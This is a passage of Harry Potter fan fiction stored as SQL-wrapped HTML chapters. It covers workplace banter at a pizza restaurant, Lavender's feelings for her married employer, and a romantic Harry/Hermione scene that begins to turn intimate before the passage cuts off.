class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ha.&#8221; Leonora&#8217;s smile was firmly planted on her face. &#8220;You&#8217;ll never get\nthat one out of me, until I retire. Then, and ONLY then, I will teach ONE of\nyou the secret to my sauce making. It&#8217;s tradition, passed down from one member\nof one generation to the next.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And you don&#8217;t monkey with tradition!&#8221; Hermione, Lavender and Susan all\ncried out at once. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We know, we know&#8230;&#8221; Lavender said. She reached back and turned on the\nWizarding Wireless Network they had behind the bar.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just in time.&#8221; Susan laughed. &#8220;Your boyfriend, Leonora.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The hard and haughty voice of the Wizarding Warlock Food Critic filled\nthe room as Lavender turned up the volume. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A place called Moonlight Menagerie, in Diagon Alley&#8230;over priced,\nservice takes forever to come around&#8230;food, don&#8217;t even ask about the food, I&#8217;m\nnot even sure it&#8217;s food&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I despise that man, I really do.&#8221; Leonora sneered. She picked up her\nbooks and went into the back of the restaurant as the chimes rang, announcing\ncustomers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well I lied, no Ron/Susan in this chapter. That&#8217;ll be the next\nchapter. Anyways, please, don&#8217;t forget to read and then review! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While you&#8217;re waiting for more, you can check out my other stories, Ryoko\nBlue&#8217;s stories, and the Mas Tequila stories by God of Fire, they&#8217;re just too\ngreat for words!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 7</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Something I forgot to mention in the last chapter, the scene where\nall the girls are in the pizza parlour takes place a week after the previous\nscene, with Lavender and Henry. Just trying to space out the relationships a\nbit more so everything isn&#8217;t as rushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This is mainly a R/S and L/H chapter, but as always, there&#8217;s a bit of\nH/Hr thrown in, and the next chapter, I believe, is fully H/Hr&#8230;.*giggles* it&#8217;s\ngoing to be a good one!!! Carl, you know what chapter I&#8217;m talking about. This\nchapter most likely will not be as long as the last one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As always, thank you VERY much everyone, for reviewing. It&#8217;s made me\nthat much more enthused to write!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And on we go!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry had put a classical station on, and the music poured from the WWN\nthrough the house. Lavender had agreed to help out that evening while he\nfinished up some important plans for his next house he was constructing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good!&#8221; Lavender smiled at Lori, who had just finished brushing her\nteeth and smiled widely at her. She helped the child jump down from the step\nnext to her sink and Lori hopped into her room while Lavender grabbed a brush\nfrom the counter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, into bed with you!&#8221; Lavender helped her on top of the sheets and\nthen began to brush her long blond hair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My mummy lives over in America now.&#8221; Lori said\nafter a few moments.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no, sweetie, she&#8217;s just over there for work. She&#8217;s going to be home\nin a few weeks.&#8221; Lavender reassured her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Lori replied. &#8220;They&#8217;re not going to get divorced are they?&#8221;\nshe asked after a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;.no...of course not!&#8221; Lavender said,\nsomewhat flustered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time for bed!&#8221; Henry announced from the\ndoorway. His face was red and Lavender knew he had heard what Lori just said.\nHe came over and helped tuck in the young girl. &#8220;I don&#8217;t know where she picked\nthat up from.&#8221; He muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender nodded. &#8220;Well, goodnight Lori.&#8221; She hugged the child. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about a story?&#8221; Henry asked, sitting down\nnext to his daughter. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Lori said, grabbing a book from her nightstand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye, see you tomorrow.&#8221; Lavender said, from the door. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry looked up and smiled. &#8220;Bye Lavender.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She paused before leaving, the sight of Henry and Lori together on the\nbed made her want to stay. &#8216;That should be us, as a family&#8230;&#8217; she thought\nwistfully. &#8216;I&#8217;d read to her every night, and then Henry and I would come back\ndownstairs and have some wine, and then he&#8217;d read to me&#8230;&#8217; she sighed and went\ndown the stairs; it was no use wasting time on a dream that would never come\ntrue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender, wait a minute.&#8221; Henry was coming down the stairs after her.\n&#8220;It&#8217;s a bit chilly tonight&#8230;&#8221; he stopped on the step above her and pulled off\nhis forest green jumper he was wearing. &#8220;Here, take this.&#8221; He held it out and\nshe obediently put her head through it and when she came out the other side,\nshe looked up to find Henry staring at her with the strangest look in his eyes.\nShe was unable to speak as they looked at one another for what seemed to be an\nhour.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Daddy!!&#8221; Lori&#8217;s voice broke through\ntheir trance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d better go.&#8221; Henry said softly. &#8220;Coming!&#8221; he called to Lori. He\nbacked away and went back upstairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender was still stunned as she left the house, new confusing emotions\nwashing over her like tidal waves. Why had he looked at her like that? Was he\nfalling for her as she had for him?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, that&#8217;s crazy!&#8221; Lavender told herself as she got on her broom and\nflew back towards her house. &#8220;He&#8217;s got a wife, and a child&#8230;and what would he\nsee in me, anyways?&#8221; these troubling thoughts stayed with her as she arrived\nhome, flying into the back and propping her broom up against the side of the\nhouse, placing a locking charm on it. She was about to go in when she heard\nvoices from the front; she peered around the side of the house to see Hermione\nand Harry arriving in the front.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That has got to be the best broomstick I&#8217;ve ever ridden.&#8221; Hermione said\nas Harry helped her off. She ran her hand up the smooth polished handle and\nlooked up at him. &#8220;Smoothest ride I&#8217;ve ever had&#8230;&#8221; she looked up at him with a\nspark in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pursed his lips in a mock pout. &#8220;Sometimes I think you like my\nbroomstick better than you like me.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned and tossed her hair over her shoulder. &#8220;Can&#8217;t have one\nwithout the other I suppose.&#8221; She joked. Harry laughed and wound his arms\naround her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose that&#8217;s all right.&#8221; Harry intoned softly, leaning forward and\nresting his forehead against hers. Hermione brought her hands up and ran them\ngently over his chest, enjoying the way his muscles became taut under her\ntouch. Harry leaned down and pressed his lips to hers, nudging her mouth open\ngently. She responded immediately, bringing her hand up to the back of his head\nand running her fingers through his hair. He crushed her body against his, his\nmouth plundering hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed and turned away, she wasn&#8217;t a voyeur and she didn&#8217;t want\nto be caught by her cousin. Hermione was so lucky, she had guys falling at her\nfeet constantly, Lavender had never had that sort of\nfortune. She tugged at a lock of her short blond hair and hugged Henry&#8217;s jumper\ntightly around her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The loud snobby voice of one of the rich and famous lifestyles shows\ncame loudly at her through the door, her aunt loved those programs. Lavender\nwent into the living room to see Jane sprawled out on the sofa, fast asleep. A\nmoment later, Hermione came through the front door, grinning broadly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lav!&#8221; she said loudly and Lavender put a finger to her lips, and\ncovered her aunt with a wool blanket that was draped over the back of the sofa.\nHermione crossed the room and listened to the program a moment, then snapped it\noff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, goodnight.&#8221; Lavender said as the two girls went up the stairs to\ntheir rooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whose jumper is that?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Henry&#8217;s.&#8221; Lavender said, mentally\npreparing herself for an onslaught of questioning from her cousin. She pulled\nit over her head and folded it neatly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if on cue, Hermione&#8217;s head appeared around the doorway. &#8220;Really.&#8221; An excited gleam entered her eyes. &#8220;What&#8217;s going\non?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly, Hermione, nothing. It&#8217;s chilly out\ntonight, as you well know, and he didn&#8217;t want me to be cold while riding home.&#8221;\nLavender answered with a long suffering sigh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wasn&#8217;t cold.&#8221; Hermione boasted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well no, I suppose snogging would keep you quite warm.&#8221; Lavender shot\nback. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it does.&#8221; Hermione answered. &#8220;Are you going to keep it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Lavender said. &#8220;I&#8217;m just&#8230;borrowing it.&#8221; She hugged the jumper\ntightly to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looks to me as if he&#8217;s putting the moves on you.&#8221; Hermione said\nmischievously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re sick.&#8221; Lavender said. She went over and pushed her cousin out of\nher room. &#8220;Good night!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Two days later*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan!&#8221; Leonora&#8217;s voice boomed across the restaurant. She looked over\nthe partition, but Susan was nowhere to be seen. &#8220;Where is she? Lavender, have\nyou seen Susan?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender shook her head and looked down at the sauce she was ladling out\nonto the pizza crusts. She kept her head down so she wouldn&#8217;t have to look at\nLeonora as she passed by. Hermione heard the whole exchange and was giggling,\nfor both of them knew exactly where Susan was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An elderly customer waited outside the women&#8217;s room, it was locked for\nsome strange reason, and it had been locked for a while. She leaned her ear\nagainst the door and listened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; a girl&#8217;s voice was saying. &#8220;Ron that hurts!&#8221;\nA male voice, which was too deep and soft to understand, mumbled something\nback. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman knocked, and frantic whispers were heard. &#8220;Just a minute!&#8221; the\nfemale voice called out, and a second later, Susan emerged tying her pouch\naround her middle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; She said to the woman as she passed by. A moment after that, as\nthe woman was about to go in, she was startled by a red headed man who was\ntucking his shirt in his pants.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me.&#8221; He said, patting\nher arm as he went by. He looked over to Susan as he was about to leave, and\nshe blew him a kiss as she disappeared into the back room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry Leonora!&#8221; Susan called out. &#8220;Hey Lav, table six is asking for\ndessert!&#8221; she untied Lavender&#8217;s pouch and it fell on the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan!&#8221; Lavender cried, annoyed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry, I have customers waiting, no time to chat!&#8221; Susan said hurriedly,\ndumping leftover pizza in a box and running back out the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue, wait a second!&#8221; Lavender abandoned the sauce as she rushed out\nafter her. Leonora rolled her eyes; she knew exactly what Susan had been up to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here you are, thank you!&#8221; Susan said as her customers paid and she gave\nthem change. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is the most fabulous pizza&#8230;&#8221; the man was saying. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s in that sauce?&#8221; the woman asked, leaning forward as if she was\nabout to be revealed the secret of the century.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I&#8217;m sorry, that&#8217;s top secret.&#8221; Susan said. &#8220;She won&#8217;t even tell us\nwhat she puts in there!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man and woman laughed, took their box and left. Susan turned to\nHermione and Lavender. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, a little warning next time when someone&#8217;s been waiting for\nawhile?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, you should be used to it, Ron comes by and you disappear for a\nhalf hour every time you work&#8230;&#8221; Hermione said dryly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, will you do me a favour?&#8221; Lavender asked. &#8220;Will you switch days\noff with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess I could, why?&#8221; Susan asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Henry needs me this Friday.&#8221; Lavender replied, wishing her cousin would\nleave so she could escape a sarcastic comment for once in her life.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t do it Susan.&#8221; It was like clockwork with Hermione. &#8220;You&#8217;ll be a\ncontributor to the downfall of Saint Lavender!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, bugger off, will you please?&#8221; Lavender was slightly annoyed. &#8220;Talk\nabout downfalls, I&#8217;m surprised you haven&#8217;t plastered your room with pictures of\nHarry Potter and his Windrider!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and Susan laughed. &#8220;You&#8217;ve got me there, Lav.&#8221; Hermione winked\nand they all went in back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well, hopefully that wasn&#8217;t too boring *haha* Well please don&#8217;t\nforget to read and review, and next chapter, it&#8217;s for all you H/Hr fans!! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 8, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 8</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well I can&#8217;t seem to stop writing, so here&#8217;s chapter 8. It&#8217;s rated\nR, but don&#8217;t let that scare you away! Fully H/Hr, so without further ado, here\nwe are!! :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had her arms wrapped around Harry&#8217;s middle as he descended them\ndown near the vacation home he had been checking out for his father. It was\ncold, the wind nipped at her exposed nose and cheeks, so she buried her face in\nHarry&#8217;s back. During the past few weeks they had begun seeing each other,\nalmost four already, she had grown to love how he smelled, a woodsy pine that\nreminded her of being outdoors. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re almost there!&#8221; he called over his shoulder. Hermione looked down\nand she could see the top of a roof poking out among the trees.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s huge!&#8221; she shouted. By most standards, the house was a decent\nsize, but to Hermione it looked like a palace. Harry deftly landed them down in\nfront; up close the place looked even bigger to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is a vacation home?&#8221; Hermione asked in disbelief. &#8220;Shit, you could\nfit the entire town of Hogsmeade inside!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed and wrapped his arms around her waist, resting his chin on\nher shoulder. &#8220;It&#8217;ll do for a vacation home, although I&#8217;d rather it just be us\ninside, and no one else.&#8221; He pressed his lips to her neck, and Hermione closed\nher eyes. She had an idea of why he had brought her here today, and as she was\nsure that she was in love with him, she needed to hear it back before things\nwent so far.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on.&#8221; Harry let go of her waist and took her hand. They went up\npast the porch and Harry produced a key.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you need a key?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My father puts anti magic charms on the house since no one&#8217;s living\nhere.&#8221; Harry replied. &#8220;We&#8217;ll have to make do like Muggles.&#8221; He grimaced on the\nlast word and Hermione laughed. Harry finally managed to work the key and they\nwent inside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everything was draped in sheets, and the fact that it was a dark day\nmade the whole inside look dreary and shadowy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I sit here?&#8221; Hermione indicated a sofa in front of the fireplace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can sit anywhere you want.&#8221; Harry said, brushing past her to light\na fire. He turned to watch her; she was wearing a short grey skirt and ivory\nblouse, it contrasted nicely against her dark hair. She pushed the sheet aside\nand sat down, now she was the one watching Harry. As he lit the fire, the\nstrengthening flame danced off his shiny black hair; he took his cloak off and\ntossed it aside, revealing a sky blue jumper and black trousers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This place seems very lonely.&#8221; Hermione said after a few moments.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s part of it&#8217;s appeal.&#8221; Harry answered, stirring the fire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at him a long moment. &#8220;You bring women out here often?&#8221;\nshe tried to keep her tone light.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned and looked straight at her, then left the fire and sat next\nto her. &#8220;No. You&#8217;re the first.&#8221; Hermione was astounded to see hurt flicker\nthrough his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry&#8230;&#8221; she said, looking down. &#8220;I didn&#8217;t mean to imply anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Harry brought a hand up underneath her chin, tilting her head\nback so he could look at her. He leaned in and kissed her, pressing his mouth\ngently to hers. &#8220;Hermione, the real reason I brought you here, I just wanted us\nto have a chance to talk, to get away together without interruptions.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded, her eyes still closed from kissing him. She opened them\nup and was surprised to see that their faces were still mere inches apart.\nTaking her hand, she traced down the side of his cheek with her index finger,\nand Harry turned and pressed his lips into her palm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, can I ask you something?&#8221; Hermione asked softly a few moments\nlater. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can ask me anything.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know how you got this, but why do you still have it, so many years\nlater?&#8221; she brushed aside his midnight hair to reveal\nhis scar. &#8220;Wouldn&#8217;t it have faded?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed and leaned back on the sofa. &#8220;No, there are a few good\nreasons why I still have it.&#8221; He covered her hand with his own and pulled her\nso she was leaning against him. &#8220;Because I still have the scar, my father knows\nif Voldemort is planning on coming back. It burns whenever there is dark\nactivity going on, and that&#8217;s the way he can monitor these things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shifted and looked up at him. &#8220;So in a sense of speaking, the fate\nof the entire wizarding world rests in these hands.&#8221; She picked up her hand\nthat was inside his. &#8220;Wow, we&#8217;d all better try and stay on your good side\nthen.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snickered. &#8220;That&#8217;s very true, my dear.&#8221; They laughed together for\na moment and then Harry grew a tad serious. &#8220;You&#8217;re the first person I&#8217;ve told\nabout that, ever. My sister and mother are the only other people that know, for\nobvious reasons.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I guess it&#8217;s a night for firsts.&#8221; Hermione said, unaware for a\nmoment at what she was implying. Harry caught on, however, and grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is it?&#8221; he leaned in close to her, and Hermione was looking straight\ninto his eyes, which had grown dark in his desire. She could feel her heartbeat\nquicken, and her breath was coming in shorter gasps.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you.&#8221; She heard herself say suddenly. His eyes widened and\nHermione felt like slapping herself. Why had she said that, why?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Harry managed to find his voice a few seconds later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I shouldn&#8217;t have said that!&#8221; Hermione was terribly embarrassed. She\nturned away from Harry, not wanting to see his reaction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, look at me.&#8221; Harry said. She shook her head, tears ready to\nspill from her eyes down her face. &#8220;Look at me.&#8221; He repeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;What is wrong with me?&#8217; Hermione asked herself. She successfully\nmanaged to bite back her tears and turned to face Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you mean that, do you love me?&#8221; he asked. Hermione was unable to\nreply for a moment, but then she nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was looking for the opportunity to tell you this, and the timing\ncouldn&#8217;t be better, well for me I guess.&#8221; Harry ducked his head down a bit, but\nthen looked back up straight into her eyes. &#8220;Hermione, I love you too.&#8221; She\nopened her mouth to say something but he put a finger on her lips. &#8220;Let me\nfinish what I was going to say.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded, and some of the embarrassment she had felt ebbed away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just want you to know this; I don&#8217;t throw around that term very\noften. And I&#8217;ve never said that to a girl just to try and get her in bed. As I\nmay be stubborn and quite a bit cocky at times, I&#8217;m still not that type of\nguy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled softly, all her fears gone. &#8220;Thank you for telling me\nthat.&#8221; She said quietly. &#8220;I&#8217;m sorry I reacted so badly, I just didn&#8217;t think\nyou&#8217;d feel the same way, especially so soon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, when it comes to love, I don&#8217;t think it can be too fast.&#8221; Harry\nsaid. They looked at each other for a very long moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you ever been in love before?&#8221; Hermione ventured. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry seemed pensive. &#8220;There have been times I thought I have, but when\nit&#8217;s ended, I have never been all too upset.&#8221; He looked at her. &#8220;How about\nyou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There have been two times when I thought I was in love with someone.&#8221;\nHermione said. &#8220;They were both really using me, I found out AFTER we had sex.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit his lower lip in sympathy. &#8220;There are so many assholes in this\nworld, taking advantage of people.&#8221; He reached out a hand and stroked her hair,\nshe had straightened it that day and it felt like silk between his fingers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well it&#8217;s in the past, I don&#8217;t like thinking about that anymore.&#8221; She\nsaid. &#8220;Besides, I think we&#8217;ve gotten serious enough for one day don&#8217;t you?&#8221;\nHermione laughed softly and Harry grinned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The only thing I want to be serious about right now is you&#8230;&#8221; he pulled\nher against him once more and brought his lips to hers. He kissed her gently at\nfirst, and moved his hand from her waist up to cup her cheek. Harry caressed\nher face gently and ran his tongue along her lips, seeking entrance. She opened\nher mouth to his and he gladly clashed his tongue with hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione could hardly contain herself as Harry&#8217;s other hand travelled\nfrom her hip up her side, gently brushing the side of her breast through her\nblouse. Her hand made it&#8217;s way from his shoulder down his chest, feeling his\ntight muscles contract under her touch. He pulled his mouth from hers only when\nhe felt as if his lungs would burst from lack of oxygen. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry began to press small opened mouth kisses down the side of her\nneck. He breathed in her scent, it almost smelled like spicy flowers, he had\nnever smelled that on anyone before and it turned him on. He began to fumble\nwith the buttons on her blouse, opening the top few and slipping his hand\ninside, gently stroking her through the lace bra she wore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;wait&#8230;&#8221; Hermione said, pushing him away. &#8220;Not here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry asked, panting lightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked up at him a moment, her eyes betraying her outer calm.\n&#8220;If we&#8217;re going to make love, I don&#8217;t want it to be just on a sofa.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, he understood she 